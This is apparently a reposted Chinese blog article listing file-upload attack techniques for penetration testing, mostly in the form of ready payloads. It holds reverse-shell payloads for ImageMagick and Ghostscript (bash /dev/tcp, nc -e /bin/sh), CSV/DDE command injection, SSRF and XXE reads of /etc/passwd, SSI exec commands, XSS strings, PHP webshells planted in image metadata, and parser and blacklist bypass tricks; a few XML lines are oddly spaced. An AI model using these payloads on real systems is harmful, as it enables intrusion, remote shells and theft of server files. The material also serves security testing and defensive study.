渗透测试中文件上传技巧

发表于:2019-5-20 11:48

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:我是旺旺    来源:博客园

  上传文件名fuzz字典
  根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。
  Gayhub:https://github.com/c0ny1/upload-fuzz-dic-builder
  上传excel文档进行CSV注入
  比较老了,学习下也没啥坏处
   =cmd|'/c calc'!A0
  =MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''
  =HYPERLINK("http://vpsip?test="&A2&A3,"Error: Please click me!")
  上传excel、word进行xxe
  修改word、excel解压之后xml文件,加入payload
  Gayhub: https://github.com/BuffaloWill/oxml_xxe
  在线生成: https://buer.haus/xxegen/
  上传mp4/avi利用ffmpeg文件读取/SSRF
   #EXTM3U
  #EXT-X-MEDIA-SEQUENCE:0
  #EXTINF:10.0,
  concat:http://xx.oo/header.m3u8|file:///etc/passwd
  #EXT-X-ENDLIST
  上传imagemagic文件进行命令执行
   push graphic-context
  viewbox 0 0 640 480
  fill 'url(https://oo.xx/1.jpg"|bash -i >& /dev/tcp/127.0.0.1/2233 0>&1")'
  pop graphic-context
  上传Ghostscript文件进行命令执行
   %!PS
  userdict /setpagedevice undef
  legal
  { null restore } stopped { pop } if
  legal
  mark /OutputFile (%pipe%$(nc -e /bin/sh 127.0.0.1 2333)) currentdevice putdeviceprops
  上传svg文件进行ssrf
< xm l version="1.0" encoding="UTF-8" standalone="no"?><svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://vps_ip.:2333/" /></svg>
  上传svg文件进行xss
  "><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>"><svg/onload=document.write(document.location)>
  上传webp后缀进行文件进行xss
  容器无法处理原因,其他后缀同理
   <html>
  <body>
  <script>alert('XSS')</script>
  <embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">
  <IMG SRC=javascript:alert("XSS")>
  </html>
  </body>
  上传shtml进行SSI
   <html>
  <body>
  <embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">
  <!--#exec cmd="/bin/ls /" --><br/>
  <!--#exec cmd="cat /etc/passwd" --><br/>
  <!--#exec cmd="find / -name *.* -print" --><br/>
  </html>
  </body>
  上传html,phtml等进行XSS
   <html>
  <body>
  <script>alert('XSS')</script>
  <embed code="javascript:alert(1)" invokeurls="false" allownetworking="none" allowscriptaccess="never" loop="false" menu="false" play="false" type="application/x-shockwave-flash">
  <IMG SRC=javascript:alert("XSS")>
  </html>
  </body>
  对上传文件进行导出excel的地方插入payload进行csv注入
   =cmd|' /C id'!A0
  @cmd|'/C id'!A0
  上传文件时如果转换时比如转成PDF等文件,尝试在上传文件中加入payload进行SSRF
   <iframe src="file:///etc/passwd" width=400height=400/>
  <iframe src="file:///c:/windows/win.ini"  width=400height=400/>
  "><svg/onload=document.write(document.location)>
  文件上传时,修改正在上传中的 input type 为URL,尝试SSRF
  <input type="file" id="upload_file" name="upload_file[]" class="file" size=1 multiple="">
  改成
   <input type="url" id="upload_file" name="upload_file[]" class="file" size=1 multiple="">
  <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://vpsip:2333/" /></svg>
  上传文件名XSS
   <img src=x onerror=alert(1)>.png
  "><img src=x onerror=alert(1)>.png
  "><svg onmouseover=alert(1)>.svg
  上传图片里面注入Code
   exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
  exiftool "-comment<=back.php" back.png
  图片属性XSS
  exiftool -Artist='"><img src=1 onerror=alert(1)>' poc.jpeg
  上传文件名SQL注入
 move_uploaded_file()上传文件时,把文件名更改为语句,可能会存在xss或者sql注入
  IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
  Nginx在默认Fast-CGI开启状况下,上传一个名字为poc.jpg,内容为:
 <PHP fputs(fopen('shell.php','w'),'<php eval($_POST[cmd])>');>
  的文件,然后访问poc.jpg/.php,在这个目录下就会生成一句话木马 shell.php
  Apache解析漏洞
  上传的文件命名为
  test.php.x1.x2.x3 # Apache是从右往左判断后缀
  Windows系统特性
  在windows环境下,xx.php[空格] 或xx.php.这类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,可以通过抓包,在文件名后加一个空格或者点绕过黑名单。
  上传.htaccess文件
  如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
   <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
  或者
  AddType application/x-httpd-php .png
  Windows下利用ADS流上传文件
  上传文件名为:1.php::$data
  IIS6截断
 分号截断asp.asp;asp.jpg
  双文件上传
 filename="a.txt";filename="a.php"
  JSON利用
  参数中有存在json字符串,可以利用fastjson、jackson等漏洞利用
  JSON数据包可以改成xml格式测试xxe漏洞
  将application/json改成application/xml
   <xml version="1.0" encoding="utf-8">
  <!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
  <root>&file;</root>
  上传PDF文件进行URL跳转
  PDF->页面属性->动作->打开网络链接->添加
  上传目录可控,进行文件覆盖
  使用../进行目录切换
  如有错误或不足,欢迎大佬不吝指正、补充。

      本文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号